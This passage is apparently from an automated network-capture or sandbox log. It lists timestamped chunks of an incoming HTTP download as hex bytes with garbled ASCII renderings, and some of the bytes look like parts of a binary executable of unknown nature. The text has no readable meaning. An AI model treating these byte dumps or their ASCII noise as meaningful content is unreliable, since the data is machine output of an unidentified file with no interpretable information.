e#D,Fs,`5G0b&bnTV?)#]e$<U_9#JFsG\|tR'3RS5^wxR]Y^FZG4]8!NoZ"+ysp3zLPPv!{S$BsA>O>G
2023-05-28 08:43:39 UTC	1773	IN	Data Raw: 43 3b 4c 64 17 3f Data Ascii: C;Ld?
2023-05-28 08:43:39 UTC	1773	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1773	IN	Data Raw: 32 30 30 30 0d 0a 1b a4 8f 46 36 76 8e ad 3d 0f be 9b 03 08 c4 dc 12 f3 37 3f 64 c0 55 17 e4 b5 ac 20 0e 9d 3e 3f c1 97 35 d7 30 5d 28 22 aa d0 fd bf 8e c1 cd 97 4f 46 3f 54 16 4c aa e1 df d8 02 09 48 10 4d 93 c4 50 41 eb 06 a5 28 0b 02 b7 a7 1f 82 4b aa 7d 06 c3 83 64 e2 d5 10 b1 e3 d3 52 5d 43 78 f9 45 06 19 ad 01 3c 18 fb 8b d7 ba 71 e2 c2 5f d3 42 fe 71 41 0b 1f 0c c2 7c 30 51 b0 7f 2e 62 4d 2d a7 e2 5f ea eb 53 9f 71 26 09 a8 1a 31 1e 45 7f f4 ac 75 dc 74 44 b5 c5 03 9f 1d 43 e0 b1 73 2f d1 45 0a 67 ed ac df 6b 43 04 d8 a3 e3 8c 4c 21 d7 c4 ec 31 64 81 f5 3a 0d 87 34 2c 15 71 06 78 2f 3b bb 23 88 23 2e 62 10 43 84 f4 f9 cd 63 9a b4 e1 f9 a0 b0 40 d9 97 c2 da 77 60 1d 4a 21 36 fa 72 e2 0b 59 d1 a3 9d f2 70 f4 07 aa 81 af 9f c2 86 d2 2a df d9 ef ef 5f Data Ascii: 2000F6v=7?dU >?50]("OF?TLHMPA(K}dR]CxE<q_BqA\|0Q.bM-_Sq&1EutDCs/EgkCL!1d:4,qx/;##.bCc@w`J!6rYp*_
2023-05-28 08:43:39 UTC	1781	IN	Data Raw: a4 81 8b 73 60 7c Data Ascii: s`\|
2023-05-28 08:43:39 UTC	1781	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1781	IN	Data Raw: 32 30 30 30 0d 0a 75 8a 90 77 9c 20 19 ac bf 30 3b 96 30 64 b6 a8 6c 97 ae b3 06 54 d9 e8 85 97 67 ce cf 23 49 b9 b2 e3 3f 5d 78 2f d6 ed 5e ac 62 65 a3 9b 2f 68 b9 a7 f0 88 0f f6 60 2a b6 53 68 27 e6 81 30 49 35 78 44 01 a3 26 2c 93 06 77 70 90 a9 5d de db 15 44 d0 3e c5 0a 5a e0 6f 0d c4 ef bd fe 31 be 51 6e 73 82 c6 41 bf 35 f9 22 2c 39 69 4e 5d a8 d8 6c 55 15 c6 60 17 91 7b f6 15 3c 68 4d f8 44 82 77 c6 cb 2f 7a 46 79 f2 54 8e 96 e7 1c f7 a7 4f ee 9c 78 cc 4f e4 ae a5 07 7d 41 3e 81 5d e6 9b d4 c5 8f ca 76 a7 16 3c de 11 bc a0 c6 06 08 c3 09 71 64 da 59 5d d9 3b 45 e3 e3 1a be 92 7c 02 73 84 43 56 0e b4 95 9e b9 c5 61 c8 2b f9 d5 47 9a fe d0 69 ee 03 bf 99 2d 29 8b 1a de 68 1e 5c ad 81 af b0 75 8b ea cf 87 3a 3b ca ab dc a6 f5 59 96 63 e8 ba b4 e9 72 Data Ascii: 2000uw 0;0dlTg#I?]x/^be/h`*Sh'0I5xD&,wp]D>Zo1QnsA5",9iN]lU`{<hMDw/zFyTOxO}A>]v<qdY];E\|sCVa+Gi-)h\u:;Ycr
2023-05-28 08:43:39 UTC	1789	IN	Data Raw: b3 80 7d 2b f2 91 Data Ascii: }+
2023-05-28 08:43:39 UTC	1789	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1789	IN	Data Raw: 32 30 30 30 0d 0a af ce a5 cb 9e 3d 9a 28 4a 09 1d b7 74 61 d9 41 5e 3a db a4 2b 4a 02 ad 05 cf 1d c1 b0 0e 07 b7 6a 43 25 d2 01 58 94 15 5b e2 ec a0 b5 95 c6 28 c2 1c f9 df e5 49 b3 6b cf 37 5c 4e 85 8b b1 e0 02 d5 9c fc 79 cb d2 07 ca 84 a6 1c 0b 19 38 94 63 f6 68 6e 73 95 c8 17 6b 68 ce 0c f7 72 3c 27 c8 ba 74 e6 89 28 dd af d6 8b ea c9 2f 7f 3f df 67 7b b5 0b 8e d0 05 2c 2a b4 05 18 22 27 e5 84 e5 4c 41 a3 ed 20 73 df a1 88 d6 92 08 99 29 35 de 20 6a cf bf c8 4a ac 1c 2b 9f 35 e8 d1 95 8f 51 e4 8a 12 51 7e 85 98 79 ea 02 ee 77 b6 b4 67 6b e2 ae 89 91 f8 d0 f7 d1 a1 82 9c e3 7f 51 41 25 7b ab 30 bb e0 3a d1 fa b6 4b 2c b6 54 1a d5 a4 e2 ae a5 bc 79 6e b1 9b ac 4f c0 d5 5c 1a 96 09 4d 8a 7a 8e 87 f5 e3 cd 15 f8 2d 6d cd 48 53 86 51 44 ac fd 16 e2 5d c2 Data Ascii: 2000=(JtaA^:+JjC%X[(Ik7\Ny8chnskhr<'t(/?g{,*"'LA s)5 jJ+5QQ~ywgkQA%{0:K,TynO\Mz-mHSQD]
2023-05-28 08:43:39 UTC	1797	IN	Data Raw: 55 af 79 7f e6 9e Data Ascii: Uy
2023-05-28 08:43:39 UTC	1797	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1797	IN	Data Raw: 32 30 30 30 0d 0a 33 92 16 3f dd e2 e1 61 79 15 95 89 d9 1d 13 65 18 52 6a 0e 59 b0 59 9c 5c 8f 92 d3 08 64 67 38 73 e1 21 59 13 e5 73 d0 38 62 bb 49 27 57 ad 35 6d bb a3 84 92 e1 91 07 13 10 98 c2 8f 9e 38 08 53 f9 1c 66 4a 50 26 98 f2 4b 59 8d 53 b0 1d ce db 5b 48 9f a3 de a3 48 8d 47 f4 79 fb 5e 92 f2 65 fe a3 83 5a e7 d2 61 48 5b 65 11 a0 f5 e2 00 6f c8 aa b8 d1 b7 a3 96 94 da b0 24 6a 84 26 ae e4 00 40 fc e8 2f a1 12 ee 22 2c 33 75 f3 44 d8 0f 6f b8 7b 9e ff 7a 7a bf 2f 27 63 73 58 b7 6c 6f 96 ae 2c a6 48 99 d1 22 92 1f 1d 7c 5b 32 5e c9 60 06 1f 22 fe 94 62 e5 65 a3 be e6 52 41 55 2a 86 4f c0 b4 03 cb 73 f0 50 b0 3e 16 a4 04 61 96 27 49 79 02 83 4c 02 7e 99 1e 2c 14 b8 1c 2a 15 c9 e5 fa 53 30 c8 33 09 4a 49 f6 6c ef 2d 53 df a6 b1 23 b4 6e 65 e0 bb Data Ascii: 20003?ayeRjYY\dg8s!Ys8bI'W5m8SfJP&KYS[HHGy^eZaH[eo$j&@/",3uDo{zz/'csXlo,H"\|[2^`"beRAUOsP>a'IyL~,S03JIl-S#ne
2023-05-28 08:43:39 UTC	1805	IN	Data Raw: cc ed 59 cd de 16 Data Ascii: Y
2023-05-28 08:43:39 UTC	1805	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1805	IN	Data Raw: 32 30 30 30 0d 0a 80 e3 18 c0 ae 2c 29 0c 4c d2 b6 8c 1a 9b e9 04 b7 94 eb 8e 1c 05 cc e0 c7 55 9a 5a 7a ad 5c b5 90 5b b0 99 35 24 7c 60 35 25 a4 1e 4a 5b d0 57 8f ca f2 58 0c 6b fd 27 dd a1 d8 5b ea 23 80 73 63 c9 5b 8d 98 65 af 1c f2 67 cb 9f cd bf 26 b8 cb da aa c8 9d 48 d8 33 59 ca 79 ef 8f e5 97 37 81 6d 89 28 72 52 45 1c 0b 89 4a aa 47 5a 4d 2d 9a 9e 8a 3f 31 68 0d 73 ba 1c 0e 43 4f 2c 6f 37 33 d1 42 85 e7 ff fa 8b 61 6d 69 2d 39 2a 62 f0 75 76 15 8f 1c ad 0b a8 70 68 f2 38 78 27 d4 5d 92 c4 86 46 68 c7 f0 fa 47 46 07 5a 12 28 c2 1c 12 9e 8e d2 89 5e 3c eb 47 08 8c 91 f5 e6 03 07 af 10 56 40 2f 98 51 3d bc 84 f3 d2 c4 b1 9b 27 d0 1c 38 8d 4d f2 49 d0 d9 aa 6a 08 24 85 6d 72 18 49 9f 57 2d 98 b5 2f 5c 8e c3 87 27 44 c3 40 c6 1c 6b 38 49 22 7f ec 24 Data Ascii: 2000,)LUZz\[5$\|`5%J[WXk'[#sc[eg&H3Yy7m(rREJGZM-?1hsCO,o73Bami-9*buvph8x']FhGFZ(^<GV@/Q='8MIj$mrIW-/\'D@k8I"$
2023-05-28 08:43:39 UTC	1813	IN	Data Raw: 3b 27 e8 14 9e fc Data Ascii: ;'
2023-05-28 08:43:39 UTC	1813	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1813	IN	Data Raw: 31 66 66 38 0d 0a 60 e0 cf a2 f4 7f 09 90 40 d5 5e 26 48 22 cf 51 ed 25 87 f5 08 80 42 37 1b b6 fa a8 02 2c 5d 0f 72 17 0f 7f 51 1a 57 b0 de f3 13 de 64 b0 79 23 51 93 d7 54 d4 80 ef 66 8b 4b c8 5a 30 32 fc 96 69 05 5e f2 2a 17 c4 f9 91 a1 e5 d3 c3 e2 1f ae 17 67 ea 89 0b 6a 0f d5 2e 4e fa 39 4b 8d 7f df 08 f0 48 e8 15 15 d9 b0 4d 90 ab 57 15 07 fd 7a 3c a5 15 e4 12 65 d5 71 44 2d c6 eb eb 97 a7 0b bb 2a 03 61 eb 54 1e 79 c4 7f f3 df cf 64 e4 53 e9 bd a3 9d e7 b9 f8 13 fa df fc fd 67 8e 79 03 c4 c4 1d 9f cd 06 0b 20 aa b8 fc cf f4 33 38 5b 4a 5b d7 3c 14 c2 2e 9f 70 2d c1 42 5a 2b b2 5b 57 d0 10 1f fc 79 7b e3 d6 3c 30 93 8b 37 f6 c3 6d 16 7d 8a 5d 1b 2c cc 91 b3 e8 28 bb 41 1e 9c d0 fa c6 5b de d3 b8 fc 97 18 71 61 9d c7 eb fe 69 b3 36 f4 de 86 1d e3 38 Data Ascii: 1ff8`@^&H"Q%B7,]rQWdy#QTfKZ02i^gj.N9KHMWz<eqD-aTydSgy 38[J[<.p-BZ+[Wy{<07m}],(A[qai68
2023-05-28 08:43:39 UTC	1821	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	1821	IN	Data Raw: e1 b3 91 4f 11 6c 6a 02 57 55 10 ef 95 01 ef 94 d3 61 71 1f 81 7e b9 09 8a 43 1a d7 78 96 62 dc 35 fa 96 8d 3f ba 5e 1b 2d 5c 8d ea fb 26 09 da a6 5f 0e 7f 79 f5 64 5c 70 24 f1 ec 32 1b ba 8b e9 97 76 59 c7 b1 2b 49 68 44 1d 25 44 52 ca 63 4f 7b da 7a ad 15 6f 20 21 20 3d 66 74 6f 8d 94 de a9 5c 15 dd 05 45 7c bd c5 35 6e b7 47 55 af 34 6d c0 cc 18 2d ab 62 49 b5 b3 a7 aa 9d f9 2e cf 30 c6 46 b1 00 b6 8e 63 13 57 b9 fe 8b c0 f3 e9 e2 a6 66 8a 8d 04 36 d4 4d 9b 5e 54 31 e3 4c 92 51 fd 3e 8a c5 6d b3 07 6e e3 95 8d d6 0d 47 95 b6 97 b1 6e 2b 6b 03 63 db b7 a0 a8 c7 a2 18 0e 2c 7e 36 dc 80 7c 67 b1 36 5b 06 98 d3 d4 a7 dd be 68 6b 90 05 66 0a 9f 78 6d 76 e3 52 03 1c d3 27 c7 e7 36 41 c5 94 ea 02 92 8a 76 96 69 d7 0c 14 b3 88 e4 ab 2e 91 7c 72 2e 3c 2b 8c 68 Data Ascii: OljWUaq~Cxb5?^-\&_yd\p$2vY+IhD%DRcO{zo ! =fto\E\|5nGU4m-bI.0FcWf6M^T1LQ>mnGn+kc,~6\|g6[hkfxmvR'6Avi.\|r.<+h
2023-05-28 08:43:39 UTC	1829	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1829	IN	Data Raw: 32 30 30 30 0d 0a e3 3b f8 d6 42 6e 32 f0 f7 c5 9e 4c bd 52 a9 f9 f4 d6 dc 04 4a 49 0e a7 73 58 51 36 65 19 b2 c1 7f a8 74 5d 38 0b 2a b3 7a 0a 12 20 84 a5 bb 1c 1c c6 ff 61 4e 4f 44 70 76 f7 ad 2b d9 90 37 05 a2 d6 20 79 2f 63 2d 3e eb 57 31 b7 29 d6 dc c2 99 ee c7 44 60 7b c8 dd ff 89 57 09 ac 7e 7d 7d f6 34 b1 26 d0 22 f5 bd 67 74 b7 8f 28 6a 27 3c 55 69 73 ee ff 28 9e db 85 eb 37 e3 b8 b7 60 6e bb e1 a9 9d 10 44 9e 79 9b bd 31 fb bf 6c db 11 d0 5a 37 25 bc d0 80 c5 27 09 d1 32 a2 83 44 fb 85 b7 ae 4c 9f 93 b0 fc 48 a8 29 44 ce 24 ec 8c c4 43 3a e4 59 3d d4 4d 0e 4f 19 29 35 91 e7 ce 84 de 1b 04 e3 14 da 5a 57 06 b6 62 5b 4d 64 e1 6c 89 fe b8 51 bf 8f d7 83 f6 f4 53 95 2f af 5d 83 be c9 98 a7 e2 80 86 16 b6 0b 80 01 2a b4 5f f3 ef c4 cf 63 33 9e 3f 29 Data Ascii: 2000;Bn2LRJIsXQ6et]8z aNODpv+7 y/c->W1)D`{W~}}4&"gt(j'<Uis(7`nDy1lZ7%'2DLH)D$C:Y=MO)5ZWb[MdlQS/]_c3?)
2023-05-28 08:43:39 UTC	1837	IN	Data Raw: 9e 1c 4e b4 ef 45 Data Ascii: NE
2023-05-28 08:43:39 UTC	1837	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1837	IN	Data Raw: 32 30 30 30 0d 0a 59 3b c7 34 90 87 f3 d4 ed 7e df fe b8 63 9a 84 f9 b6 35 2f 36 a3 e2 84 4a 12 3a 7b f9 fd 57 f6 08 de c0 e6 0c d1 07 89 4d a6 73 ef 66 a4 e9 86 a3 d2 48 96 87 ea ef 76 32 52 c5 ce e6 6a 72 dd 3b 82 38 b1 6b 96 7c 17 48 73 e3 01 e6 bd 3f 6f 04 a1 7e 28 ff ce de 7d 94 39 76 11 58 83 ac 6e 90 02 d7 95 a2 bb d3 fb 50 12 89 c0 fd 84 ee 36 e0 96 f4 3b 85 a1 62 cd df 00 43 80 f2 df c2 80 ff 79 ce 0d f3 a1 9b 9a 5f a1 2b 6e 00 55 03 c0 44 3f 26 15 a9 46 c7 58 0f 11 fc dc 08 66 cc ab 3c dd 04 5d 3b d0 8b 1f 64 43 78 89 ba 17 50 b2 d1 a6 57 64 87 9c 85 54 3e cf 75 06 bb da 73 94 a9 9a 6a 0b 10 f6 32 57 4d 75 72 96 81 fd 94 55 3e 2d 96 2c 5f da 12 42 3a 45 7a e0 56 b2 b4 d2 ba af f0 54 03 ce da c7 7c 51 f6 19 57 41 74 4a 42 d8 55 9f c9 df f6 13 d9 Data Ascii: 2000Y;4~c5/6J:{WMsfHv2Rjr;8k\|Hs?o~(}9vXnP6;bCy_+nUD?&FXf<];dCxPWdT>usj2WMurU>-,_B:EzVT\|QWAtJBU
2023-05-28 08:43:39 UTC	1845	IN	Data Raw: 58 9f d8 20 5d 2b Data Ascii: X ]+
2023-05-28 08:43:39 UTC	1845	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1845	IN	Data Raw: 32 30 30 30 0d 0a 01 89 0e d6 d7 ab a5 cd 93 1f f0 76 ba f8 c0 6d 9c 85 ef b1 bf 54 a7 b7 ec bd 9d d8 16 aa ed e3 54 89 e3 d0 ae 7f 8b 3e 53 af be 96 f5 89 f2 96 55 fb f7 bb e7 4f c3 1e 4d ef ab f9 1f 5e 15 d0 e1 dc a3 d4 62 18 18 af dd 33 d9 eb 6d 07 58 02 57 74 b1 dc 46 2f d6 9c 96 45 27 49 11 05 5c ff 70 31 3b d6 87 fd 9d 75 d5 d0 47 35 8a e6 3a be 89 cf 8a f1 a4 24 42 42 60 3a 42 18 cb f7 5f e5 9d 88 b1 ce b9 85 bf 8c f5 79 c7 aa 8c f3 9a 25 d9 36 90 0e ce ec 07 16 6e eb 0e e1 85 57 9d 1d ac 2b 03 fe 91 c7 9f d1 14 ba 56 7a 1a 9b ed 99 2f 85 f4 4d e3 dc ed d6 b6 68 b6 f4 e0 75 a6 45 e8 69 a5 1e 5c 3f 7e a4 91 d2 64 d8 24 32 4c 88 e0 ac 6a 82 44 d8 9e e7 3c 98 8f 93 eb f6 c2 24 ac ee 72 44 01 8b 31 6e 54 01 05 c7 04 6c 68 31 0e 0b dc 97 7c b6 0c 72 95 Data Ascii: 2000vmTT>SUOM^b3mXWtF/E'I\p1;uG5:$BB`:B_y%6nW+Vz/MhuEi\?~d$2LjD<$rD1nTlh1\|r
2023-05-28 08:43:39 UTC	1853	IN	Data Raw: 56 5c 82 e6 9a a1 Data Ascii: V\
2023-05-28 08:43:39 UTC	1853	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1853	IN	Data Raw: 32 30 30 30 0d 0a 64 a7 d7 7f d3 2d 7a b4 2d 3a bd 67 bd 39 9a 2d 98 9d 65 7c 0e b0 c5 7b dd 6a c9 d3 8f d6 04 c9 a9 9a f7 f4 20 ac 2c 12 82 b0 f2 21 37 bf 49 95 97 24 e2 36 b7 fe 72 f3 30 78 d0 5b ba 7d ae 0f f7 b6 cf 3f 78 d2 d0 df 39 ef 09 c6 7b c4 8f 13 f7 9a d9 59 8e b7 79 a6 97 ef 5b 9d cf 55 55 5d 66 8e 31 9b 3e 59 e3 54 d8 72 39 16 ca 8b 3a 07 c1 62 69 17 77 91 0f 71 dd 80 2c 81 cc 0f 4c bb a8 dd f4 ac 8d fb 82 93 db 06 5b 4f dc a3 ff d6 e9 c6 a3 0a 2f 09 10 c5 51 39 cb 58 2d 84 6d af a9 ac 1a ce 0c 07 3a e9 21 8c 7e 1c 36 92 61 45 18 55 cc 86 e0 60 cc c3 f5 b4 2a 47 4f 5f 35 0d 7c b2 77 93 aa 24 0e c0 48 71 85 03 f8 b1 3f d6 a3 2b 8e 3a d2 a7 5e 70 fc 33 b9 0b bf 9f 66 17 42 62 24 26 11 60 13 81 7b f7 49 9a f5 78 b1 41 eb 9f 62 6d c2 9d 28 7a 03 Data Ascii: 2000d-z-:g9-e\|{j ,!7I$6r0x[}?x9{Yy[UU]f1>YTr9:biwq,L[O/Q9X-m:!~6aEU`*GO_5\|w$Hq?+:^p3fBb$&`{IxAbm(z
2023-05-28 08:43:39 UTC	1861	IN	Data Raw: 45 7d 39 57 73 ed Data Ascii: E}9Ws
2023-05-28 08:43:39 UTC	1861	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1861	IN	Data Raw: 32 30 30 30 0d 0a 88 39 df ab 88 b1 37 f1 c8 3a 71 44 50 00 d1 f7 1c 22 4b b2 c3 a5 e6 59 1d 95 0a d5 28 42 3d f3 53 d8 d7 7d cc f1 cd 2f e2 b7 d5 ff b0 cf e0 5a ec a7 a1 95 e3 08 6a 88 61 81 05 96 a9 f6 53 82 ea 53 36 f2 cd 82 c0 28 21 b8 e4 66 7a 82 66 9c bd be 15 51 f1 9d 44 4e c2 43 62 bf fb 0a 58 ed d6 5b 87 b9 bb b4 84 0c 10 ac bd 9a 23 bc fb b2 f9 3d c9 36 76 5b 6e 0a 81 64 0b 82 41 66 23 2f 1f ed d6 26 0c c1 67 74 30 e4 bc ac 33 05 a4 b5 44 f6 9d 47 53 91 f9 ce 1b 5a 91 f7 bd ce e5 a9 fa f0 44 55 94 4a 09 c5 6f 67 c1 34 c2 93 f8 81 e1 f8 ba e6 ea 58 f0 5c 0b e8 15 3c 97 ff 52 10 c9 b4 a8 67 cf 0c d5 b8 65 d3 4f 58 ba 8e 06 a3 04 9b 8e 0d e0 01 fe 6b 7a c4 dc 4a 4a 44 0c 2c 9e 4b 97 0e 62 63 a9 82 f5 52 17 97 9b 7a 9e 25 df 34 1a 04 e3 79 0e 0f 46 Data Ascii: 200097:qDP"KY(B=S}/ZjaSS6(!fzfQDNCbX[#=6v[ndAf#/&gt03DGSZDUJog4X\<RgeOXkzJJD,KbcRz%4yF
2023-05-28 08:43:39 UTC	1869	IN	Data Raw: da 20 51 00 20 49 Data Ascii: Q I
2023-05-28 08:43:39 UTC	1869	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1869	IN	Data Raw: 32 30 30 30 0d 0a 8f c9 16 2b da 60 b9 6d f5 cf 3a f3 c4 9a 5d 11 3c 6c 0a 12 9b 29 16 55 27 df 33 18 a1 e9 b2 05 2a fe 66 08 1c 67 c6 b2 14 e7 62 d5 81 e8 ba eb 52 3d 4a dd 8f 13 0f 29 36 b0 8b fb e7 00 1c ba e5 60 87 18 10 c5 11 89 e8 54 2e 62 26 cd ed f5 25 5f 07 54 65 b6 11 99 b4 5e 8f b5 db 88 b9 80 88 a0 b1 94 a4 8d 09 52 b7 a4 79 92 b9 a0 e2 f4 1d f9 59 3e 43 1c 0c 87 49 ff 67 27 b2 6b 19 3b 01 ac 8d fe b9 d4 5f 72 45 15 a5 82 7c 38 d4 72 ad 19 bd f0 73 9d 8d dc bc b2 01 87 26 81 b7 21 16 bb 75 23 1a 24 d3 5e 51 50 7a be 69 fb 45 07 73 85 b0 82 a4 2a b2 e4 b3 22 c2 72 22 06 a5 7a 47 a3 c9 4b 88 f6 94 5e f6 93 a9 12 c3 38 2d 20 36 a8 f7 ae 54 d0 85 5e 7e 32 7f b0 a0 e6 c2 d4 78 c6 08 7c ea 48 dc 23 c3 01 63 ac 07 e5 3e 45 c0 86 5d f4 c5 7d d3 a6 53 Data Ascii: 2000+`m:]<l)U'3fgbR=J)6`T.b&%_Te^RyY>CIg'k;_rE\|8rs&!u#$^QPziEs"r"zGK^8- 6T^~2x\|H#c>E]}S
2023-05-28 08:43:39 UTC	1877	IN	Data Raw: 43 bc ec 89 9f 01 Data Ascii: C
2023-05-28 08:43:39 UTC	1877	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1877	IN	Data Raw: 31 66 66 38 0d 0a 78 d5 e2 11 30 1c 77 aa 68 aa ce de 22 71 09 fd 8b 0e 60 8b 0f ce 83 26 91 08 ad ff b4 a7 e2 4d a8 fa 56 ee 46 e4 11 5f 79 f9 cb 08 97 46 26 18 63 cd 9d e5 3b a8 ad f9 2e 06 ac 4e 24 6b 9c ec 78 b8 75 5a 3a ac d0 ec 9a c8 a7 8a de 95 02 4f 7d 9f 61 2e db d5 58 87 23 93 ae 8b bb ef 92 84 e2 0e d8 37 b5 97 a9 c7 d3 2b 84 74 db cc 5c b5 b4 e8 86 9e 23 69 7e e4 11 e4 64 bc 00 6b 16 6b a2 a1 e6 48 40 51 05 51 86 98 05 7a 0a b3 56 80 66 fa 7d 71 a0 e4 13 1c 99 92 3d 86 6c 29 49 54 94 26 fe 56 3c 93 41 42 70 41 80 3b e5 a6 79 e7 bc 21 ff 8c e9 60 48 d4 37 e5 09 cf ee 96 b2 95 ae ca 2c 81 9e 8a d9 5b ee 9d b3 59 b7 5d a6 56 18 ed ae b0 20 38 71 82 93 21 b9 35 61 2f 46 47 cc 69 53 b9 f9 cb 72 c1 13 73 94 fe 0b d1 10 bc 1b e1 b1 50 f1 ec b6 29 3a Data Ascii: 1ff8x0wh"q`&MVF_yF&c;.N$kxuZ:O}a.X#7+t\#i~dkkH@QQzVf}q=l)IT&V<ABpA;y!`H7,[Y]V 8q!5a/FGiSrsP):
2023-05-28 08:43:39 UTC	1885	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-05-28 08:43:39 UTC	1885	IN	Data Raw: e3 09 70 17 29 e5 3f ef 68 2c 34 55 a5 68 6b 20 bb 12 33 9d f6 c2 f5 ae c6 1e 23 c8 b5 03 f4 55 44 12 dc e2 73 a8 3e 49 36 c0 06 11 67 e0 12 d1 23 25 65 3f 61 e3 cd 1b 4a 8e c0 49 b1 61 40 08 b5 44 98 4e 64 1a 70 15 3e b5 95 40 75 11 5f 45 fa 32 40 0f 7f 22 41 53 e8 1a bf e9 54 2f b8 5c 87 6f 80 45 20 ce 46 00 19 ef 1e c8 6b 61 85 a0 f1 1a 2b 80 dd 2a 56 0f dc 27 23 f3 d7 2c d2 6b 16 15 86 9b 0a d9 f5 7b 03 64 ae 82 b8 94 39 a2 c3 45 67 7f 83 a5 af 82 77 6a b5 44 cd f5 dd d6 71 48 0b 8c 8e 67 b6 b1 4a 36 32 0f 18 84 5d bc b0 73 0a 62 58 59 16 bd 63 fa 19 cc 64 31 cf 5e 57 e4 f3 6c 3d fe cd f3 0a 51 12 55 a6 ab ab 0f 3e df 47 b2 b1 f0 28 b2 fd 54 4a 23 53 6c 76 21 ef 17 91 3a 30 ae 6f f7 c5 22 81 9e 43 26 f5 59 5e c2 60 0c 26 f6 5e 8d a2 fa b5 81 42 68 a4 Data Ascii: p)?h,4Uhk 3#UDs>I6g#%e?aJIa@DNdp>@u_E2@"AST/\oE Fka+*V'#,k{d9EgwjDqHgJ62]sbXYcd1^Wl=QU>G(TJ#Slv!:0o"C&Y^`&^Bh
2023-05-28 08:43:39 UTC	1893	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1893	IN	Data Raw: 32 30 30 30 0d 0a 52 86 22 f2 67 f3 c1 d0 a6 8b 63 69 17 c1 a3 d6 eb 93 84 a4 a9 35 d5 a9 ef 1c 30 78 00 ff d6 86 27 28 ad 63 03 d3 ad 53 2a 3f 49 94 91 8f db d5 5f fa 9e 60 2b b6 a0 2c 43 91 d0 63 ae 39 29 af 0e 42 a2 a0 96 58 37 6b a3 6c f0 84 39 a8 d5 96 a1 05 f9 67 13 a0 f4 d8 aa 78 31 7d aa fa b1 8f e8 e7 3d 22 7b 8f b2 7c bd 22 3c 8c 31 3e d7 33 3c e4 9b 55 03 37 5c 05 0a 7d 93 e7 d3 71 d4 d3 77 9a ff cd 29 00 f7 24 c2 7d 69 e3 c2 07 90 a6 e3 61 7a ec 43 3b e6 0b 07 33 28 2e 79 cb 83 2e 9f fc e2 99 49 14 88 6e 9f 4a 19 94 36 2a 9d 32 74 4e 41 e8 b9 7a 73 fa 2c a4 61 d2 24 6e a9 2a 58 d2 78 73 f3 6d bb d1 b0 90 d7 37 1a c3 4f 49 39 e0 77 87 fa 1f 5d 97 9a 7a 8a 6a 32 18 66 c4 60 cf 08 f9 71 d3 d0 f2 c2 09 c9 7b 2d 90 64 e9 bc 94 42 bb c6 18 ab 76 11 Data Ascii: 2000R"gci50x'(cS?I_`+,Cc9)BX7kl9gx1}="{\|"<1>3<U7\}qw)$}iazC;3(.y.InJ62tNAzs,a$n*Xxsm7OI9w]zj2f`q{-dBv
2023-05-28 08:43:39 UTC	1901	IN	Data Raw: 00 00 24 18 40 00 Data Ascii: $@
2023-05-28 08:43:39 UTC	1901	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1901	IN	Data Raw: 32 30 30 30 0d 0a 12 00 00 00 00 18 40 00 13 00 00 00 d4 17 40 00 18 00 00 00 9c 17 40 00 19 00 00 00 74 17 40 00 1a 00 00 00 3c 17 40 00 1b 00 00 00 04 17 40 00 1c 00 00 00 dc 16 40 00 1e 00 00 00 bc 16 40 00 1f 00 00 00 58 16 40 00 20 00 00 00 20 16 40 00 21 00 00 00 28 15 40 00 22 00 00 00 88 14 40 00 78 00 00 00 78 14 40 00 79 00 00 00 68 14 40 00 7a 00 00 00 58 14 40 00 fc 00 00 00 54 14 40 00 ff 00 00 00 44 14 40 00 03 00 00 00 07 00 00 00 78 00 00 00 0a 00 00 00 ff ff ff ff ff ff ff ff 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ff ff 35 c2 68 21 a2 da 0f c9 ff 3f 00 00 00 00 00 00 f0 3f 08 04 08 08 08 04 08 08 00 04 0c 08 00 04 0c 08 75 98 00 00 73 98 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000@@@t@<@@@@X@ @!(@"@xx@yh@zX@T@D@x5h!??us
2023-05-28 08:43:39 UTC	1909	IN	Data Raw: 80 00 80 7f 7f 00 Data Ascii:
2023-05-28 08:43:39 UTC	1909	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1909	IN	Data Raw: 32 30 30 30 0d 0a 80 80 7e 00 80 80 80 00 7e 81 80 00 81 7f 81 00 80 7f 80 00 7f 80 80 00 7e 80 7f 00 7f 7e 7f 00 7e 81 7f 00 80 7e 80 00 7f 7e 81 00 7f 7f 7f 00 81 81 7f 00 80 7f 7e 00 81 80 7f 00 81 80 7f 00 7e 7f 81 00 80 80 80 00 80 80 81 00 80 7f 80 00 81 81 80 00 7f 81 7f 00 7f 7f 80 00 80 81 81 00 81 7f 7f 00 80 7f 80 00 81 80 7f 00 7f 7e 81 00 7f 7e 7e 00 7f 80 80 00 80 80 7e 00 7e 7e 81 00 80 80 7f 00 80 7e 81 00 7e 80 7f 00 7f 7f 80 00 7f 7f 7f 00 7f 81 81 00 7f 80 80 00 80 81 7f 00 7f 80 80 00 80 7e 7f 00 7f 7e 7e 00 80 81 7e 00 7f 7e 80 00 7e 7f 7e 00 7e 81 7f 00 80 7f 7f 00 7f 81 7f 00 7e 7f 80 00 7f 80 7f 00 81 80 80 00 7f 7e 81 00 80 81 81 00 80 7e 7f 00 7e 7e 80 00 7e 80 81 00 81 81 81 00 81 7f 7f 00 81 7f 7f 00 7f 